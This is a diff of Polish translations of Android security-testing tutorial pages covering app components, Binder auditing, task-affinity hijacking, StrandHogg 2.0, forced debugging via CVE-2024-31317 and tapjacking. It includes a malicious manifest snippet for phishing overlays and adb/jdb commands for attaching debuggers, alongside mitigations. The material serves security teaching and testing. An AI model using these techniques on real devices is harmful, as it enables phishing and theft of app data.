- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie z usługą, składanie żądań i otrzymywanie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem do przeglądu bezpieczeństwa w poszukiwaniu luk.
|
||||
|
||||
- **Messenger**: Działając jako usługa powiązana, Messenger ułatwia IPC z naciskiem na przetwarzanie danych poprzez metodę `onBind`. Ważne jest, aby dokładnie sprawdzić tę metodę pod kątem niebezpiecznego przetwarzania danych lub wykonywania wrażliwych funkcji.
|
||||
|
||||
@ -229,13 +229,13 @@ Dowiedz się, jak [wywoływać deeplinki bez użycia stron HTML](#exploiting-sch
|
||||
|
||||
## Komponenty
|
||||
|
||||
Obejmują: **Aktywności, Usługi, Odbiorniki Rozgłoszeniowe i Dostawcy.**
|
||||
Należą do nich: **Aktywności, Usługi, Odbiorniki Rozgłoszeniowe i Dostawcy.**
|
||||
|
||||
### Aktywność uruchamiająca i inne aktywności
|
||||
|
||||
W aplikacjach Android **aktywności** są jak ekrany, pokazujące różne części interfejsu użytkownika aplikacji. Aplikacja może mieć wiele aktywności, z których każda prezentuje unikalny ekran dla użytkownika.
|
||||
|
||||
**Aktywność uruchamiająca** jest głównym wejściem do aplikacji, uruchamianym, gdy dotkniesz ikony aplikacji. Jest zdefiniowana w pliku manifestu aplikacji z określonymi intencjami MAIN i LAUNCHER:
|
||||
**Aktywność uruchamiająca** jest głównym wejściem do aplikacji, uruchamianym po naciśnięciu ikony aplikacji. Jest zdefiniowana w pliku manifestu aplikacji z określonymi intencjami MAIN i LAUNCHER:
|
||||
```html
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
@ -250,11 +250,11 @@ Aktywności mogą być udostępniane innym aplikacjom lub procesom poprzez oznac
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Jednak dostęp do aktywności z innej aplikacji nie zawsze stanowi ryzyko bezpieczeństwa. Obawy pojawiają się, gdy wrażliwe dane są udostępniane niewłaściwie, co może prowadzić do wycieków informacji.
|
||||
Jednak dostęp do aktywności z innej aplikacji nie zawsze stanowi ryzyko bezpieczeństwa. Problem pojawia się, gdy wrażliwe dane są udostępniane niewłaściwie, co może prowadzić do wycieków informacji.
|
||||
|
||||
Cykl życia aktywności **zaczyna się od metody onCreate**, która ustawia interfejs użytkownika i przygotowuje aktywność do interakcji z użytkownikiem.
|
||||
|
||||
### Podklasa aplikacji
|
||||
### Podklasa Aplikacji
|
||||
|
||||
W rozwoju Androida aplikacja ma możliwość stworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą, która jest instancjonowana w aplikacji. Metoda **`attachBaseContext`**, jeśli jest zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. Ta konfiguracja pozwala na wczesną inicjalizację przed rozpoczęciem działania reszty aplikacji.
|
||||
```java
|
||||
@ -276,9 +276,9 @@ super.onCreate();
|
||||
|
||||
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle**, które mogą wykonywać zadania bez interfejsu użytkownika. Te zadania mogą kontynuować działanie nawet wtedy, gdy użytkownicy przełączają się na inne aplikacje, co sprawia, że usługi są kluczowe dla **długoterminowych operacji**.
|
||||
|
||||
Usługi są wszechstronne; mogą być inicjowane na różne sposoby, przy czym **Intents** są główną metodą ich uruchamiania jako punkt wejścia aplikacji. Gdy usługa jest uruchamiana za pomocą metody `startService`, jej metoda `onStart` zaczyna działać i działa aż do momentu, gdy metoda `stopService` zostanie wywołana. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia z klientem, używana jest metoda `bindService` do powiązania klienta z usługą, angażując metodę `onBind` do przesyłania danych.
|
||||
Usługi są wszechstronne; mogą być inicjowane na różne sposoby, przy czym **Intents** są główną metodą ich uruchamiania jako punkt wejścia aplikacji. Gdy usługa jest uruchamiana za pomocą metody `startService`, jej metoda `onStart` zaczyna działać i działa aż do momentu, gdy metoda `stopService` zostanie wywołana. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia z klientem, używa się metody `bindService` do powiązania klienta z usługą, angażując metodę `onBind` do przesyłania danych.
|
||||
|
||||
Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez zakłócania interakcji użytkownika z aplikacją. Ponadto, usługi mogą być udostępniane innym procesom na tym samym urządzeniu poprzez **eksportowanie**. Nie jest to domyślne zachowanie i wymaga wyraźnej konfiguracji w pliku Android Manifest:
|
||||
Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez zakłócania interakcji użytkownika z aplikacją. Ponadto usługi mogą być udostępniane innym procesom na tym samym urządzeniu poprzez **eksportowanie**. Nie jest to domyślne zachowanie i wymaga wyraźnej konfiguracji w pliku Android Manifest:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
@ -290,13 +290,13 @@ Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danyc
|
||||
|
||||
Transmisje mogą być **asynchroniczne**, docierając do wszystkich odbiorników bez kolejności, lub **synchronizowane**, gdzie odbiorniki otrzymują transmisję na podstawie ustalonych priorytetów. Ważne jest jednak, aby zauważyć potencjalne ryzyko bezpieczeństwa, ponieważ każda aplikacja może nadać sobie priorytet, aby przechwycić transmisję.
|
||||
|
||||
Aby zrozumieć funkcjonalność odbiornika, należy poszukać metody **`onReceive`** w jego klasie. Kod tej metody może manipulować otrzymaną Intencją, co podkreśla potrzebę walidacji danych przez odbiorniki, szczególnie w **Ordered Broadcasts**, które mogą modyfikować lub odrzucać Intencję.
|
||||
Aby zrozumieć funkcjonalność odbiornika, należy poszukać metody **`onReceive`** w jego klasie. Kod tej metody może manipulować otrzymaną Intencją, co podkreśla potrzebę walidacji danych przez odbiorniki, szczególnie w **Ordered Broadcasts**, które mogą modyfikować lub pomijać Intencję.
|
||||
|
||||
### Content Provider
|
||||
|
||||
**Content Providers** są niezbędne do **dzielenia się uporządkowanymi danymi** między aplikacjami, podkreślając znaczenie wdrażania **uprawnień** w celu zapewnienia bezpieczeństwa danych. Umożliwiają aplikacjom dostęp do danych z różnych źródeł, w tym baz danych, systemów plików lub internetu. Specyficzne uprawnienia, takie jak **`readPermission`** i **`writePermission`**, są kluczowe dla kontrolowania dostępu. Dodatkowo, tymczasowy dostęp może być przyznany poprzez ustawienia **`grantUriPermission`** w manifeście aplikacji, wykorzystując atrybuty takie jak `path`, `pathPrefix` i `pathPattern` do szczegółowej kontroli dostępu.
|
||||
|
||||
Walidacja danych jest kluczowa, aby zapobiec lukom w zabezpieczeniach, takim jak SQL injection. Content Providers wspierają podstawowe operacje: `insert()`, `update()`, `delete()` i `query()`, ułatwiając manipulację danymi i ich dzielenie się między aplikacjami.
|
||||
Walidacja danych jest kluczowa, aby zapobiec lukom w zabezpieczeniach, takim jak SQL injection. Content Providers wspierają podstawowe operacje: `insert()`, `update()`, `delete()`, i `query()`, ułatwiając manipulację danymi i ich dzielenie się między aplikacjami.
|
||||
|
||||
**FileProvider**, wyspecjalizowany Content Provider, koncentruje się na bezpiecznym udostępnianiu plików. Jest definiowany w manifeście aplikacji z określonymi atrybutami do kontrolowania dostępu do folderów, oznaczonymi przez `android:exported` i `android:resource` wskazującymi na konfiguracje folderów. Należy zachować ostrożność przy udostępnianiu katalogów, aby uniknąć przypadkowego ujawnienia wrażliwych danych.
|
||||
|
||||
@ -323,20 +323,20 @@ For further information check:
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews są jak **mini przeglądarki internetowe** wewnątrz aplikacji Android, pobierające treści z sieci lub z lokalnych plików. Stają w obliczu podobnych ryzyk jak zwykłe przeglądarki, jednak istnieją sposoby na **zmniejszenie tych ryzyk** poprzez konkretne **ustawienia**.
|
||||
WebViews są jak **mini przeglądarki internetowe** w aplikacjach Android, pobierające treści z sieci lub z lokalnych plików. Stają w obliczu podobnych ryzyk jak zwykłe przeglądarki, jednak istnieją sposoby na **zmniejszenie tych ryzyk** poprzez konkretne **ustawienia**.
|
||||
|
||||
Android oferuje dwa główne typy WebView:
|
||||
|
||||
- **WebViewClient** jest świetny do podstawowego HTML, ale nie obsługuje funkcji alert JavaScript, co wpływa na to, jak można testować ataki XSS.
|
||||
- **WebChromeClient** działa bardziej jak pełne doświadczenie przeglądarki Chrome.
|
||||
|
||||
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą ciasteczek** z główną przeglądarką urządzenia.
|
||||
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą się ciasteczkami** z główną przeglądarką urządzenia.
|
||||
|
||||
Do ładowania treści dostępne są metody takie jak `loadUrl`, `loadData` i `loadDataWithBaseURL`. Ważne jest, aby upewnić się, że te adresy URL lub pliki są **bezpieczne do użycia**. Ustawienia bezpieczeństwa można zarządzać za pomocą klasy `WebSettings`. Na przykład, wyłączenie JavaScript za pomocą `setJavaScriptEnabled(false)` może zapobiec atakom XSS.
|
||||
|
||||
JavaScript "Bridge" pozwala obiektom Java na interakcję z JavaScript, wymagając, aby metody były oznaczone jako `@JavascriptInterface` dla bezpieczeństwa od Androida 4.2 wzwyż.
|
||||
|
||||
Zezwolenie na dostęp do treści (`setAllowContentAccess(true)`) pozwala WebView na dostęp do Content Providers, co może stanowić ryzyko, chyba że adresy URL treści są zweryfikowane jako bezpieczne.
|
||||
Zezwolenie na dostęp do treści (`setAllowContentAccess(true)`) pozwala WebView na dotarcie do Content Providers, co może stanowić ryzyko, chyba że adresy URL treści są zweryfikowane jako bezpieczne.
|
||||
|
||||
Aby kontrolować dostęp do plików:
|
||||
|
||||
@ -429,7 +429,7 @@ Jeśli usługa została skompilowana **z proguard**, mapowanie musi być odgadni
|
||||
|
||||
### 5. Mapowanie kodów ↔ metod za pomocą onTransact()
|
||||
Dezkompiluj jar/odex, który implementuje interfejs (dla stubów AOSP sprawdź `/system/framework`; OEM-y często używają `/system_ext` lub `/vendor`).
|
||||
Szukaj `Stub.onTransact()` – zawiera ogromny `switch(transactionCode)`:
|
||||
Szukaj `Stub.onTransact()` – zawiera ogromne `switch(transactionCode)`:
|
||||
```java
|
||||
case TRANSACTION_updateCtaAppStatus: // 5
|
||||
data.enforceInterface(DESCRIPTOR);
|
||||
@ -451,19 +451,19 @@ throw new SecurityException("uid " + uid + " rejected");
|
||||
/* privileged code */
|
||||
}
|
||||
```
|
||||
Brak takiej logiki lub biała lista uprzywilejowanych UID (np. `uid == 1000 /*system*/`) jest **wskaźnikiem podatności**.
|
||||
Brak takiej logiki lub biała lista uprzywilejowanych UID (np. `uid == 1000 /*system*/`) jest wskaźnikiem **wrażliwości**.
|
||||
|
||||
Studium przypadku – *MediaTek* `startMonitorProcessWithUid()` (transakcja **8**) w pełni wykonuje wiadomość Netlink **bez** żadnej bramy uprawnień, co pozwala nieuprzywilejowanej aplikacji na interakcję z modułem Netfilter jądra i spamowanie dziennika systemowego.
|
||||
|
||||
### 7. Automatyzacja oceny
|
||||
Narzędzia / skrypty, które przyspieszają rozpoznawanie Binder:
|
||||
Narzędzia / skrypty, które przyspieszają rozpoznanie Binder:
|
||||
* [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – udostępnia `/dev/binderfs` z węzłami per-usługa
|
||||
* [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – przeszukuje tabelę binder i drukuje ACL
|
||||
* Skrót Frida: `Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))`
|
||||
|
||||
---
|
||||
|
||||
## Odniesienia
|
||||
## Referencje
|
||||
|
||||
- [Android Services 101 – Pentest Partners](https://www.pentestpartners.com/security-blog/android-services-101/)
|
||||
- [Android Developer Docs – AIDL](https://developer.android.com/guide/components/aidl)
|
||||
|
@ -8,10 +8,10 @@ W Androidzie, **task** to zasadniczo zestaw aktywności, z którymi użytkownicy
|
||||
|
||||
Oto szybkie podsumowanie przejść między aktywnościami:
|
||||
|
||||
- **Aktywność 1** zaczyna jako jedyna aktywność na pierwszym planie.
|
||||
- Uruchomienie **Aktywności 2** przesuwa **Aktywność 1** do back stack, przynosząc **Aktywność 2** na pierwszy plan.
|
||||
- **Aktywność 1** zaczyna jako jedyna aktywność w foreground.
|
||||
- Uruchomienie **Aktywności 2** przesuwa **Aktywność 1** do back stack, przynosząc **Aktywność 2** na foreground.
|
||||
- Rozpoczęcie **Aktywności 3** przesuwa **Aktywność 1** i **Aktywność 2** dalej w stosie, z **Aktywnością 3** teraz na przodzie.
|
||||
- Zamknięcie **Aktywności 3** przywraca **Aktywność 2** na pierwszy plan, pokazując uproszczony mechanizm nawigacji zadań w Androidzie.
|
||||
- Zamknięcie **Aktywności 3** przywraca **Aktywność 2** na foreground, pokazując uproszczony mechanizm nawigacji zadań w Androidzie.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -19,7 +19,7 @@ Oto szybkie podsumowanie przejść między aktywnościami:
|
||||
|
||||
## Ataki na affinity zadań
|
||||
|
||||
`taskAffinity` informuje Androida, do którego zadania `Activity` *preferuje* należeć. Gdy dwie aktywności dzielą tę samą affinity, **Android ma prawo połączyć je w tym samym back-stack, nawet jeśli pochodzą z różnych APK**.
|
||||
`taskAffinity` informuje Android, do którego zadania `Activity` *preferuje* należeć. Gdy dwie aktywności dzielą tę samą affinity, **Android ma prawo połączyć je w tym samym back-stack, nawet jeśli pochodzą z różnych APK**.
|
||||
|
||||
Jeśli atakujący może umieścić złośliwą aktywność na **korzeniu** tego stosu, za każdym razem, gdy ofiara otworzy legalną aplikację, złośliwy interfejs użytkownika będzie pierwszą rzeczą, którą zobaczy użytkownik – idealne do phishingu lub nadużywania uprawnień.
|
||||
|
||||
@ -40,7 +40,7 @@ android:launchMode="singleTask" >
|
||||
</activity>
|
||||
```
|
||||
2. Złośliwa aplikacja jest uruchamiana raz, aby zadanie (z fałszywą affinity) istniało w ostatnich zadaniach.
|
||||
3. Gdy użytkownik później otworzy prawdziwą aplikację, Android stwierdza, że już istnieje zadanie, którego **root affinity pasuje do pakietu** i po prostu przynosi to zadanie na pierwszy plan.
|
||||
3. Gdy użytkownik później otworzy prawdziwą aplikację, Android stwierdza, że już istnieje zadanie, którego **root affinity pasuje do pakietu** i po prostu przynosi to zadanie na foreground.
|
||||
4. Interfejs użytkownika atakującego jest wyświetlany jako pierwszy.
|
||||
|
||||
### Wariant Default–Affinity (bez `singleTask`) – Studium przypadku Caller ID
|
||||
@ -68,13 +68,13 @@ android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
</activity>
|
||||
```
|
||||
3. Gdy użytkownik zainstaluje i otworzy złośliwą aplikację **raz**, istnieje zadanie, którego affinity równa się pakietowi ofiary (ale znajduje się w tle).
|
||||
4. Gdy uruchamiana jest prawdziwa aplikacja Caller ID, Android ponownie wykorzystuje to zadanie i przynosi `HackActivity` na pierwszy plan → okno phishingowe/nadużycie uprawnień.
|
||||
4. Gdy uruchamiana jest prawdziwa aplikacja Caller ID, Android ponownie wykorzystuje to zadanie i przynosi `HackActivity` na foreground → okno phishingowe/nadużycie uprawnień.
|
||||
|
||||
> UWAGA: Począwszy od **Android 11 (API 30)** system *nie* umieszcza dwóch pakietów, które nie są częścią tego samego UID, w tym samym zadaniu domyślnie, co łagodzi ten konkretny wariant. Starsze wersje pozostają narażone.
|
||||
|
||||
---
|
||||
|
||||
### StrandHogg 2.0 (CVE-2020-0096) – Przejęcie zadania oparte na refleksji
|
||||
### StrandHogg 2.0 (CVE-2020-0096) – Przejęcie zadań oparte na refleksji
|
||||
|
||||
Majowy biuletyn bezpieczeństwa Google z 2020 roku naprawił bardziej zaawansowany wariant nazwany **StrandHogg 2.0**. Eksploatacja **nie polega w ogóle na `taskAffinity`**; zamiast tego używa *refleksji*, aby dynamicznie wstawić aktywność atakującego na szczyt *każdego* działającego zadania, całkowicie omijając ograniczenie „shared-UID” wprowadzone przez Androida 11.
|
||||
|
||||
@ -92,7 +92,7 @@ Wykrywanie na urządzeniach przed naprawą można przeprowadzić za pomocą `adb
|
||||
|
||||
## Lista kontrolna wykrywania i eksploatacji
|
||||
|
||||
1. **Przegląd statyczny** – Pobierz `AndroidManifest.xml` z docelowego APK i sprawdź, czy każda `<activity>` (lub globalny element `<application>`) zawiera `android:taskAffinity=""` (puste) **lub** dostosowaną wartość. Narzędzia takie jak:
|
||||
1. **Przegląd statyczny** – Pobierz `AndroidManifest.xml` z docelowego APK i sprawdź, czy każda `<activity>` (lub globalny element `<application>`) zawiera `android:taskAffinity=""` (pusty) **lub** dostosowaną wartość. Narzędzia takie jak:
|
||||
```bash
|
||||
# Używając apkanalyzer (Android SDK)
|
||||
apkanalyzer manifest print app.apk | grep -i taskaffinity
|
||||
@ -119,8 +119,8 @@ run app.activity.info com.victim
|
||||
Deweloperzy powinni:
|
||||
|
||||
* Wyraźnie ustawić `android:taskAffinity=""` na poziomie `<application>` (zalecane) **lub** nadać każdej aktywności unikalną, prywatną affinity.
|
||||
* Dla wysoce wrażliwych ekranów połączyć powyższe z `android:launchMode="singleInstance"` lub nowoczesnymi ochronami [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode).
|
||||
* Zaktualizować `targetSdkVersion` aplikacji i egzekwować zmiany behawioralne **Android 11**, gdzie zadania nie są domyślnie dzielone między pakiety.
|
||||
* Dla wysoce wrażliwych ekranów, połączyć powyższe z `android:launchMode="singleInstance"` lub nowoczesnymi [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) zabezpieczeniami.
|
||||
* Zaktualizować `targetSdkVersion` aplikacji i egzekwować zmiany w zachowaniu **Android 11**, gdzie zadania nie są domyślnie dzielone między pakietami.
|
||||
* Celować w **Android 12 (API 31) lub wyższy**, aby obowiązkowy atrybut `android:exported` zmusił deweloperów do audytowania każdego komponentu dostępnego z zewnątrz.
|
||||
* Rozważyć samoobronę w czasie rzeczywistym: okresowo zapytuj `ActivityTaskManager`, aby upewnić się, że pakiet twojej górnej aktywności odpowiada twojemu.
|
||||
|
||||
@ -128,7 +128,7 @@ Deweloperzy powinni:
|
||||
|
||||
## Powiązane techniki przejmowania UI
|
||||
|
||||
Przejęcie zadań często łączy się z lub jest zastępowane przez **tapjacking** (oszustwo UI oparte na nakładkach). Badania **TapTrap** z 2025 roku pokazały, że całkowicie przezroczyste *aktywności napędzane animacją* mogą omijać ograniczenia dotykowe nakładek wprowadzone w Androidzie 12–14 i nadal oszukiwać użytkowników, aby przyznawali niebezpieczne uprawnienia. Chociaż TapTrap nie jest ściśle *przejęciem* zadań, cel końcowy (kliknięcia phishingowe) jest identyczny – dlatego nowoczesne oceny powinny sprawdzać obie powierzchnie ataku.
|
||||
Przejęcie zadań często jest łączone z lub zastępowane przez **tapjacking** (oszustwo UI oparte na nakładkach). Badania **TapTrap** z 2025 roku pokazały, że całkowicie przezroczyste *aktywności napędzane animacjami* mogą omijać ograniczenia dotykowe nakładek wprowadzone w Androidzie 12–14 i nadal oszukiwać użytkowników, aby przyznawali niebezpieczne uprawnienia. Chociaż TapTrap nie jest ściśle *przejęciem* zadań, końcowy cel (kliknięcia phishingowe) jest identyczny – dlatego nowoczesne oceny powinny sprawdzać obie powierzchnie ataku.
|
||||
|
||||
---
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Wykorzystywanie aplikacji z możliwością debugowania
|
||||
# Wykorzystywanie aplikacji debugowalnej
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -29,11 +29,11 @@ Treść oparta na https://medium.com/@shubhamsonani/hacking-with-precision-bypas
|
||||
4. **Ustaw aplikację, aby czekała na połączenie debuggera:**
|
||||
|
||||
- Polecenie: `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **Uwaga:** To polecenie musi być uruchamiane za każdym razem przed uruchomieniem aplikacji, aby upewnić się, że czeka na debuggera.
|
||||
- **Uwaga:** To polecenie musi być uruchamiane za każdym razem przed uruchomieniem aplikacji, aby upewnić się, że czeka na debuger.
|
||||
- Aby uzyskać trwałość, użyj `adb shell am setup-debug-app –w ––persistent <package_name>`.
|
||||
- Aby usunąć wszystkie flagi, użyj `adb shell am clear-debug-app <package_name>`.
|
||||
|
||||
5. **Przygotuj się do debugowania w Android Studio:**
|
||||
5. **Przygotowanie do debugowania w Android Studio:**
|
||||
|
||||
- Przejdź w Android Studio do _File -> Open Profile or APK_.
|
||||
- Otwórz ponownie skompilowane APK.
|
||||
@ -43,7 +43,7 @@ Treść oparta na https://medium.com/@shubhamsonani/hacking-with-precision-bypas
|
||||
|
||||
### **Obchodzenie kontroli**
|
||||
|
||||
Aplikacja w pewnych momentach będzie weryfikować, czy jest debugowalna, a także sprawdzi, czy istnieją binaria wskazujące na zrootowane urządzenie. Debugger może być użyty do modyfikacji informacji o aplikacji, usunięcia bitu debugowalności i zmiany nazw wyszukiwanych binariów, aby obejść te kontrole.
|
||||
Aplikacja w pewnych momentach będzie weryfikować, czy jest debugowalna i sprawdzi również binaria wskazujące na zrootowane urządzenie. Debugger może być użyty do modyfikacji informacji o aplikacji, usunięcia bitu debugowalności i zmiany nazw wyszukiwanych binariów, aby obejść te kontrole.
|
||||
|
||||
Dla kontroli debugowalności:
|
||||
|
||||
@ -53,19 +53,19 @@ Dla kontroli debugowalności:
|
||||
|
||||

|
||||
|
||||
Te kroki zbiorczo zapewniają, że aplikacja może być debugowana i że pewne kontrole bezpieczeństwa mogą być obchodzone przy użyciu debuggera, co ułatwia bardziej szczegółową analizę lub modyfikację zachowania aplikacji.
|
||||
Te kroki zbiorczo zapewniają, że aplikacja może być debugowana i że pewne kontrole bezpieczeństwa mogą być obchodzone za pomocą debuggera, co ułatwia bardziej szczegółową analizę lub modyfikację zachowania aplikacji.
|
||||
|
||||
Krok 2 polega na zmianie wartości flagi na 814267972, która jest reprezentowana w postaci binarnej jako 110000101101000000100010100.
|
||||
Krok 2 polega na zmianie wartości flagi na 814267972, co jest reprezentowane w postaci binarnej jako 110000101101000000100010100.
|
||||
|
||||
# **Wykorzystywanie luki**
|
||||
|
||||
Demonstrowano to przy użyciu podatnej aplikacji zawierającej przycisk i textview. Początkowo aplikacja wyświetla "Crack Me". Celem jest zmiana komunikatu z "Spróbuj ponownie" na "Hacked" w czasie rzeczywistym, bez modyfikacji kodu źródłowego.
|
||||
Demonstrowano to przy użyciu podatnej aplikacji zawierającej przycisk i textview. Początkowo aplikacja wyświetla "Crack Me". Celem jest zmiana komunikatu z "Try Again" na "Hacked" w czasie rzeczywistym, bez modyfikacji kodu źródłowego.
|
||||
|
||||
## **Sprawdzanie podatności**
|
||||
|
||||
- Aplikacja została dezkompilowana przy użyciu `apktool`, aby uzyskać dostęp do pliku `AndroidManifest.xml`.
|
||||
- Aplikacja została dezkompilowana za pomocą `apktool`, aby uzyskać dostęp do pliku `AndroidManifest.xml`.
|
||||
- Obecność `android_debuggable="true"` w AndroidManifest.xml wskazuje, że aplikacja jest debugowalna i podatna na wykorzystanie.
|
||||
- Warto zauważyć, że `apktool` jest używane wyłącznie do sprawdzenia statusu debugowalności bez modyfikacji jakiegokolwiek kodu.
|
||||
- Warto zauważyć, że `apktool` jest używany wyłącznie do sprawdzenia statusu debugowalności bez modyfikacji jakiegokolwiek kodu.
|
||||
|
||||
## **Przygotowanie ustawienia**
|
||||
|
||||
@ -75,11 +75,11 @@ Demonstrowano to przy użyciu podatnej aplikacji zawierającej przycisk i textvi
|
||||
|
||||
## **Wstrzykiwanie kodu w czasie rzeczywistym**
|
||||
|
||||
- Wykorzystanie zostało przeprowadzone poprzez ustawienie punktów przerwania i kontrolowanie przepływu aplikacji.
|
||||
- Wykorzystanie luki odbyło się poprzez ustawienie punktów przerwania i kontrolowanie przepływu aplikacji.
|
||||
- Użyto poleceń takich jak `classes` i `methods <class_name>`, aby odkryć strukturę aplikacji.
|
||||
- Ustawiono punkt przerwania w metodzie `onClick`, a jego wykonanie było kontrolowane.
|
||||
- Polecenia `locals`, `next` i `set` były używane do inspekcji i modyfikacji lokalnych zmiennych, szczególnie zmieniając komunikat "Spróbuj ponownie" na "Hacked".
|
||||
- Zmodyfikowany kod został wykonany przy użyciu polecenia `run`, skutecznie zmieniając wyjście aplikacji w czasie rzeczywistym.
|
||||
- Użyto poleceń `locals`, `next` i `set`, aby sprawdzić i zmodyfikować lokalne zmienne, szczególnie zmieniając komunikat "Try Again" na "Hacked".
|
||||
- Zmodyfikowany kod został wykonany za pomocą polecenia `run`, skutecznie zmieniając wyjście aplikacji w czasie rzeczywistym.
|
||||
|
||||
Ten przykład pokazał, jak można manipulować zachowaniem debugowalnej aplikacji, podkreślając potencjał bardziej złożonych exploitów, takich jak uzyskanie dostępu do powłoki na urządzeniu w kontekście aplikacji.
|
||||
|
||||
@ -89,8 +89,8 @@ Ten przykład pokazał, jak można manipulować zachowaniem debugowalnej aplikac
|
||||
|
||||
Nawet jeśli docelowy APK _nie_ jest dostarczany z flagą `android:debuggable`, niedawne badania wykazały, że możliwe jest wymuszenie **dowolnych aplikacji** do uruchomienia z flagą runtime `DEBUG_ENABLE_JDWP`, nadużywając sposób, w jaki Zygote analizuje argumenty wiersza poleceń.
|
||||
|
||||
* **Luka:** Niewłaściwa walidacja `--runtime-flags` dostarczonych przez gniazdo poleceń Zygote pozwala atakującemu, który może uzyskać dostęp do `system_server` (na przykład za pośrednictwem uprzywilejowanego powłoki `adb`, która posiada uprawnienie `WRITE_SECURE_SETTINGS`), na wstrzyknięcie dodatkowych parametrów. Gdy stworzona komenda jest odtwarzana przez `system_server`, aplikacja ofiary jest forkowana jako _debugowalna_ i z wątkiem JDWP nasłuchującym. Problem jest śledzony jako **CVE-2024-31317** i został naprawiony w czerwcu 2024 roku w Biuletynie Bezpieczeństwa Androida.
|
||||
* **Wpływ:** Pełny dostęp do odczytu/zapisu do prywatnego katalogu danych **dowolnej** aplikacji (w tym uprzywilejowanych, takich jak `com.android.settings`), kradzież tokenów, obejście MDM i w wielu przypadkach bezpośrednia droga do eskalacji uprawnień poprzez nadużywanie eksportowanych punktów IPC teraz-debugowalnego procesu.
|
||||
* **Luka:** Niewłaściwa walidacja `--runtime-flags` dostarczonych przez gniazdo poleceń Zygote pozwala atakującemu, który może uzyskać dostęp do `system_server` (na przykład za pomocą uprzywilejowanego powłoki `adb`, która posiada uprawnienie `WRITE_SECURE_SETTINGS`), na wstrzyknięcie dodatkowych parametrów. Gdy stworzona komenda jest odtwarzana przez `system_server`, aplikacja ofiary jest forkowana jako _debugowalna_ i z wątkiem JDWP nasłuchującym. Problem jest śledzony jako **CVE-2024-31317** i został naprawiony w czerwcu 2024 roku w Biuletynie Bezpieczeństwa Androida.
|
||||
* **Wpływ:** Pełny dostęp do odczytu/zapisu do prywatnego katalogu danych **dowolnej** aplikacji (w tym uprzywilejowanych, takich jak `com.android.settings`), kradzież tokenów, obejście MDM i w wielu przypadkach bezpośrednia droga do eskalacji uprawnień poprzez nadużywanie eksportowanych punktów IPC teraz debugowalnego procesu.
|
||||
* **Dotknięte wersje:** Android 9 do 14 przed poziomem łaty z czerwca 2024 roku.
|
||||
|
||||
## Szybki PoC
|
||||
@ -111,7 +111,7 @@ jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
|
||||
## Wykrywanie i łagodzenie
|
||||
|
||||
* Zastosuj łatkę do poziomu bezpieczeństwa **2024-06-01** (lub późniejszego) – Google wzmocnił `ZygoteCommandBuffer`, aby kolejne polecenia nie mogły być przemycane w ten sposób.
|
||||
* Zaktualizuj do poziomu zabezpieczeń **2024-06-01** (lub późniejszego) – Google wzmocnił `ZygoteCommandBuffer`, aby kolejne polecenia nie mogły być przemycane w ten sposób.
|
||||
* Ogranicz dostęp `WRITE_SECURE_SETTINGS` / `shell` na urządzeniach produkcyjnych. Eksploatacja wymaga tego uprawnienia, które normalnie posiadają tylko aplikacje ADB lub OEM z przywilejami.
|
||||
* W flotach zarządzanych przez EMM/MDM wymuś `ro.debuggable=0` i odmów dostępu do powłoki za pomocą `adb disable-verifier`.
|
||||
|
||||
|
@ -39,7 +39,7 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
Najbardziej **najnowsza aplikacja Android** przeprowadzająca atak Tapjacking (+ wywołanie przed eksportowaną aktywnością zaatakowanej aplikacji) znajduje się pod adresem: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
Najbardziej **najnowsza aplikacja Android** wykonująca atak Tapjacking (+ wywołanie przed eksportowaną aktywnością zaatakowanej aplikacji) można znaleźć w: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
Postępuj zgodnie z **instrukcjami README, aby z niej skorzystać**.
|
||||
|
||||
@ -50,13 +50,13 @@ Przykładowy projekt implementujący **FloatingWindowApp**, który można użyć
|
||||
### Qark
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> Wygląda na to, że ten projekt nie jest już utrzymywany i ta funkcjonalność nie działa już poprawnie
|
||||
> Wygląda na to, że ten projekt jest teraz nieutrzymywany i ta funkcjonalność nie działa już poprawnie
|
||||
|
||||
Możesz użyć [**qark**](https://github.com/linkedin/qark) z parametrami `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk`, aby stworzyć złośliwą aplikację do testowania możliwych **vulnerabilities Tapjacking**.\
|
||||
|
||||
